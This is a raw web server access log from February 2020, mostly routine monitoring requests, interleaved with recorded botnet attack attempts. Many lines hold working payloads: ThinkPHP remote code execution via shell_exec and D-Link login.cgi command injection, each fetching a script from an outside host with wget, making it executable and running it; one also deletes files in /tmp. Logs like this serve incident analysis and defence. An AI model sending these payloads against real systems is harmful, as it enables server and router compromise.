212.91.246.72 - - [07/Feb/2020:12:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.103.73.180 - - [07/Feb/2020:13:01:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:13:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.178.254 - - [07/Feb/2020:13:04:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [07/Feb/2020:13:04:06 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [07/Feb/2020:13:04:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
175.35.173.108 - - [07/Feb/2020:13:04:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:13:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.66.127.74 - - [07/Feb/2020:13:04:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.247.152.104 - - [07/Feb/2020:13:06:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.71.119 - - [07/Feb/2020:13:06:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.3.224.86 - - [07/Feb/2020:13:08:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:13:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [07/Feb/2020:13:09:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.254.67.196 - - [07/Feb/2020:13:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:13:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.246.212.102 - - [07/Feb/2020:13:11:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:13:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.3.149 - - [07/Feb/2020:13:12:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [07/Feb/2020:13:13:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [07/Feb/2020:13:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.215 - - [07/Feb/2020:13:14:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.53.176.227 - - [07/Feb/2020:13:14:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [07/Feb/2020:13:19:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.192.12 - - [07/Feb/2020:13:20:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [07/Feb/2020:13:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.223.80.129 - - [07/Feb/2020:13:21:02 +0100] "\x10\x9d \x0f1\x7f" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:13:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.253.80 - - [07/Feb/2020:13:23:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [07/Feb/2020:13:23:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [07/Feb/2020:13:25:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [07/Feb/2020:13:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [07/Feb/2020:13:25:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:13:25:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:13:25:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.119.240.234 - - [07/Feb/2020:13:25:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.161.111.175 - - [07/Feb/2020:13:26:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:13:26:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:13:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.240.108 - - [07/Feb/2020:13:26:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [07/Feb/2020:13:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.130.51.223 - - [07/Feb/2020:13:29:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:13:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.108.65 - - [07/Feb/2020:13:35:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.96.87.185 - - [07/Feb/2020:13:36:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:13:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.203.170 - - [07/Feb/2020:13:36:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:13:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.210.129 - - [07/Feb/2020:13:38:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.64.163.7 - - [07/Feb/2020:13:40:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.148.249.77 - - [07/Feb/2020:13:40:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:13:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.177.228.21 - - [07/Feb/2020:13:41:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.214.244 - - [07/Feb/2020:13:43:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
155.94.169.32 - - [07/Feb/2020:13:47:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.192.12 - - [07/Feb/2020:13:48:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [07/Feb/2020:13:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.190.11 - - [07/Feb/2020:13:49:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.38.255.115 - - [07/Feb/2020:13:49:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
121.23.48.247 - - [07/Feb/2020:13:50:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [07/Feb/2020:13:51:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.193.54 - - [07/Feb/2020:13:52:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.52.121.143 - - [07/Feb/2020:13:53:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:13:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.241.202 - - [07/Feb/2020:13:56:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:13:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.193.104 - - [07/Feb/2020:13:58:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:13:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [07/Feb/2020:13:58:43 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:13:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
155.94.169.32 - - [07/Feb/2020:13:59:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.82.214 - - [07/Feb/2020:13:59:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.60 - - [07/Feb/2020:13:59:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.207.9.98 - - [07/Feb/2020:14:00:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
